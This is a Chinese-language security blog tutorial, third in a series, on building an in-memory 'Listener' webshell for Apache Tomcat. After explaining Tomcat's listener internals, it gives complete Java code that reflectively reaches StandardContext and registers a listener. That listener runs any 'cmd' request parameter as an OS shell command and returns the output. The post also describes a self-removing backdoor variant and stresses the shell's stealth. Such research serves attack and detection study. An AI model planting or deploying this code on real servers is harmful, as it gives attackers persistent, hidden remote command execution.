深入底層原始碼的Listener記憶體馬(記憶體馬系列篇三)
寫在前面
繼前面的 Filter
Servlet
記憶體馬技術,這是系列文章的第三篇了,這篇將給大家帶來的是 Listener
記憶體馬技術。
前置
什麼是Listener?
監聽器 Listener 是一個實現特定介面的 Java 程式,這個程式專門用於監聽另一個 Java 物件的方法呼叫或屬性改變,當被監聽物件發生上述事件後,監聽器某個方法將立即自動執行。
監聽器的相關概念:
事件:方法呼叫、屬性改變、狀態改變等。
事件源:被監聽的物件( 例如:request、session、servletContext)。
監聽器:用於監聽事件源物件 ,事件源物件狀態的變化都會觸發監聽器。
註冊監聽器:將監聽器與事件源進行繫結
監聽器 Listener 按照監聽的事件劃分,可以分為 3 類:
監聽物件建立和銷燬的監聽器
監聽物件中屬性變更的監聽器
監聽 HttpSession 中的物件狀態改變的監聽器
Listener的簡單案例
在Tomcat中建立Listener有兩種方式:
使用web.xml中的 listener
標籤建立
使用 @WebListener
註冊監聽器
我們建立一個實現了 javax.servlet.ServletRequestListener
介面的類。
package pres.test.momenshell; import javax.servlet.ServletRequestEvent; import javax.servlet.ServletRequestListener; public class ListenerTest implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { System.out.println("destroy Listener!"); } @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { System.out.println("initial Listener!"); } }
將會在請求開始和請求結束分別執行 requestInitialized
或者 requestDestroyed
方法中的邏輯,
之後再 web.xml
中配置Listener。
<listener> <listener-class>pres.test.momenshell.ListenerTest</listener-class> </listener>
之後開啟tomcat容器。
在請求前和請求後都會執行對應邏輯。
Listener流程分析
首先給出程式到 requestInitialized
方法之前的呼叫棧。
requestInitialized:14, ListenerTest (pres.test.momenshell) fireRequestInitEvent:5982, StandardContext (org.apache.catalina.core) invoke:121, StandardHostValve (org.apache.catalina.core) invoke:81, ErrorReportValve (org.apache.catalina.valves) invoke:698, AbstractAccessLogValve (org.apache.catalina.valves) invoke:78, StandardEngineValve (org.apache.catalina.core) service:364, CoyoteAdapter (org.apache.catalina.connector) service:624, Http11Processor (org.apache.coyote.http11) process:65, AbstractProcessorLight (org.apache.coyote) process:831, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1673, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads) run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
將會到達 StandardHostValve#invoke
方法。
呼叫了 StandardContext#fireRequestInitEvent
方法進行請求初始化。
在其中,程式通過掃描web.xml中得到了對應的例項化物件,因為我們在web.xml中做出了對應的配置,所以我們能夠通過 if (instance != null && instance instanceof ServletRequestListener)
的判斷,進而呼叫了listener的 requestInitialized
方法。
即為我們的 ListenerTest#requestInitialized
方法。
正文
有了上面的相關基礎,更能加深對記憶體馬的理解。
分析注入
同樣在 javax.servlet.ServletContext
中對於 addListener
有三種過載方式。
跟進api中的註解
能夠實現的的監聽器有:
ServletContextListener:用於監聽整個 Servlet 上下文(建立、銷燬) ServletContextAttributeListener:對 Servlet 上下文屬性進行監聽(增刪改屬性) ServletRequestListener:對 Request 請求進行監聽(建立、銷燬) ServletRequestAttributeListener:對 Request 屬性進行監聽(增刪改屬性) javax.servlet.http.HttpSessionListener:對 Session 整體狀態的監聽 javax.servlet.http.HttpSessionAttributeListener:對 Session 屬性的監聽
每一種 介面有著不同的方法存在,就比如 ServletRequestListener
這個監聽器。
存在有 requestDestroyed
和 requestInitialized
方法進行請求前和請求後的監聽,又或者是 ServletRequestAttributeListener
這個監聽器。
存在有 attributeAdded
attributeRemoved
attributeReplaced
分別對屬性增 / 屬性刪 / 屬性替換做出了監聽。
但是這些監聽器都是繼承同一個介面 EventListener
,我們可以跟進一下 addListener
在Tomcat中的實現
在 org.apache.catalina.core.ApplicationContext#addListener
中。
如果這裡傳入的是一個ClassName,將會將其進行例項化之後判斷是否實現了 EventListener
介面,也就是是否在監聽類中實現了特性的監聽器。
如果實現了這個標誌介面將會將其強轉為 EventListener
並傳入 addListener
的過載方法。
同樣和前面類似,不能在程式執行過程中進行Listener的新增,並且如果的監聽器是 ServletContextAttributeListener ServletRequestListener ServletRequestAttributeListener HttpSessionIdListener HttpSessionAttributeListener
的時候將會通過呼叫 StardardContext#addApplicationEventListener
新增監聽器,
又如果是 HttpSessionListener ServletContextListener
將會呼叫 addApplicationLifecycleListener
方法進行監聽器的新增,
通過上面的分析我們不難得到Listener記憶體馬中關於 ServletRequestListener
這個監聽器的實現步驟:
首先獲取到 StardardContext
物件
之後建立一個實現了 ServletRequestListener
介面的監聽器類
再然後通過呼叫 StardardContext
類的 addApplicationEventListener
方法進行Listener的新增
實現記憶體馬
有了上面的步驟我們就能夠構造記憶體馬
首先通過迴圈的方式獲取 StandardContext
物件。
ServletContext servletContext = req.getServletContext(); StandardContext o = null; while (o == null) { //迴圈從servletContext中取出StandardContext Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); Object o1 = field.get(servletContext); if (o1 instanceof ServletContext) { servletContext = (ServletContext) o1; } else if (o1 instanceof StandardContext) { o = (StandardContext) o1; } }
之後建立一個監聽器類, 我這裡同樣是一段任意程式碼執行的構造,通過reponse寫進行回顯操作。
class Mylistener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { ServletRequest request = servletRequestEvent.getServletRequest(); if (request.getParameter("cmd") != null) { try { String cmd = request.getParameter("cmd"); boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(inputStream).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; Field request1 = request.getClass().getDeclaredField("request"); request1.setAccessible(true); Request request2 = (Request) request1.get(request); request2.getResponse().getWriter().write(output); } catch (IOException e) { e.printStackTrace(); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } } @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { } }
最後當然就是將Listen新增。
Mylistener mylistener = new Mylistener(); //新增listener o.addApplicationEventListener(mylistener);
得到完整的記憶體馬。
package pres.test.momenshell; import org.apache.catalina.connector.Request; import org.apache.catalina.core.StandardContext; import javax.servlet.*; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException; import java.io.InputStream; import java.lang.reflect.Field; import java.util.Scanner; public class AddTomcatListener extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doPost(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { try { ServletContext servletContext = req.getServletContext(); StandardContext o = null; while (o == null) { //迴圈從servletContext中取出StandardContext Field field = servletContext.getClass().getDeclaredField("context"); field.setAccessible(true); Object o1 = field.get(servletContext); if (o1 instanceof ServletContext) { servletContext = (ServletContext) o1; } else if (o1 instanceof StandardContext) { o = (StandardContext) o1; } } Mylistener mylistener = new Mylistener(); //新增listener o.addApplicationEventListener(mylistener); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } } class Mylistener implements ServletRequestListener { @Override public void requestDestroyed(ServletRequestEvent servletRequestEvent) { ServletRequest request = servletRequestEvent.getServletRequest(); if (request.getParameter("cmd") != null) { try { String cmd = request.getParameter("cmd"); boolean isLinux = true; String osType = System.getProperty("os.name"); if (osType != null && osType.toLowerCase().contains("win")) { isLinux = false; } String[] cmds = isLinux ? new String[]{"/bin/sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd}; InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream(); Scanner s = new Scanner(inputStream).useDelimiter("\\a"); String output = s.hasNext() ? s.next() : ""; Field request1 = request.getClass().getDeclaredField("request"); request1.setAccessible(true); Request request2 = (Request) request1.get(request); request2.getResponse().getWriter().write(output); } catch (IOException e) { e.printStackTrace(); } catch (NoSuchFieldException e) { e.printStackTrace(); } catch (IllegalAccessException e) { e.printStackTrace(); } } } @Override public void requestInitialized(ServletRequestEvent servletRequestEvent) { } }
記憶體馬實驗
這裡同樣使用在系列文章第一篇中提到的 IndexServlet
進行實驗。
public class IndexServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { this.doPost(req, resp); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { String message = "Tomcat project!"; String id = req.getParameter("id"); StringBuilder sb = new StringBuilder(); sb.append(message); if (id != null && id != null) { sb.append("\nid: ").append(id); //拼接id } resp.getWriter().println(sb); } }
將會對傳入引數id進行回顯
之後配置 addTomcatListener
路由的Servlet進行記憶體馬的注入。
這是最開始進行訪問的情況。
訪問 addTomcatListener
路由進行記憶體馬的注入。
再次訪問 /index
並傳入cmd引數。
發現不僅僅回顯了我傳入的id引數,同樣進行了命令的執行。
其他的花樣構造
在api中支援的監聽器中,還有很多其他的監聽器可以進行記憶體馬的實現,這裡僅僅是對其中一個比較方法的監聽器進行了說明。
比如說 ServletRequestAttributeListener
這個監聽器,在分析注入那裡也有所提及,我們通要可以將我們的惡意程式碼插入在
這些方法中進行對應的操作進行記憶體馬的觸發。
根據su18提供的一種攻擊思路。
由於在 ServletRequestListener 中可以獲取到 ServletRequestEvent,這其中又存了很多東西,ServletContext/StandardContext 都可以獲取到,那玩法就變得更多了。可以根據不同思路實現很多非常神奇的功能,我舉個例子:
-
在 requestInitialized 中監聽,如果訪問到了某個特定的 URL,或這次請求中包含某些特徵(可以拿到 request 物件,隨便怎麼定義),則新起一個執行緒去 StandardContext 中註冊一個 Filter,可以實現某些惡意功能。
-
在 requestDestroyed 中再起一個新執行緒 sleep 一定時間後將我們新增的 Filter 解除安裝掉。
這樣我們就有了一個真正的動態後門,只有用的時候才回去註冊它,用完就刪
總結
也在這裡總結一下這三種的執行順序和特性。
他們的執行順序分別是Listener > Filter > Servlet
Servlet :在使用者請求路徑與處理類對映之處,新增一個指定路徑的指定處理類; Filter:在使用者處理類之前的,用來對請求進行額外處理提供額外功能的類; Listener:在 Filter 之外的監聽程序。
總的來說Listener記憶體馬比前兩篇的危害更大,更具有隱藏性,且能夠有更多的構造方式
最後,貼一下我總結的記憶體馬編寫流程
-
首先獲取到
StardardContext
物件 -
之後建立一個實現了
ServletRequestListener
介面的監聽器類 -
再然後通過呼叫
StardardContext
類的addApplicationEventListener
方法進行Listener的新增
Ref
http://su18.org/post/memory-shell
- 滑鼠懸停也能中招!帶毒PPT正用來傳播Graphite惡意軟體
- 澳大利亞史上最大資料洩露事件,40%的居民資訊被洩露
- “匿名者”組織聲稱黑進了俄羅斯國防部網站
- 為防釣魚,Win11新版本在記事本、網站中輸入密碼時會發出警告
- Tomcat架構之為Bypass記憶體馬檢測鋪路(記憶體馬系列篇四)
- “羊了個羊”遭黑客攻擊,還存在安全隱患?
- 研究人員披露了 Oracle 雲基礎設施中的嚴重漏洞,現已修復
- Python 15年未修的漏洞可能影響 35萬餘個專案,速查
- JAVA程式碼審計之java反序列化
- 開原始碼庫攻擊在三年間暴漲7倍
- 五分之二美國消費者資料被盜,企業也難逃攻擊者“毒手”
- 入門學習之社會工程學
- 深陷安全事件泥潭,優步資料洩露何時休?
- 信陽師範學院曝“學信網資訊洩露”,學院:已報警,涉事學生幹部被撤職
- 無間道! "沙蟲 "組織冒充烏克蘭電信公司投放惡意軟體
- 繞過檢測之Executor記憶體馬淺析(記憶體馬系列篇五)
- 攻擊者正冒充美國政府機構騙取承包商Office賬戶
- “洩露”的咖啡!黑客出售近22萬名新加坡星巴克顧客資料
- 手搓Filter記憶體馬從構造到利用講解(記憶體馬系列篇一)
- 深入底層原始碼的Listener記憶體馬(記憶體馬系列篇三)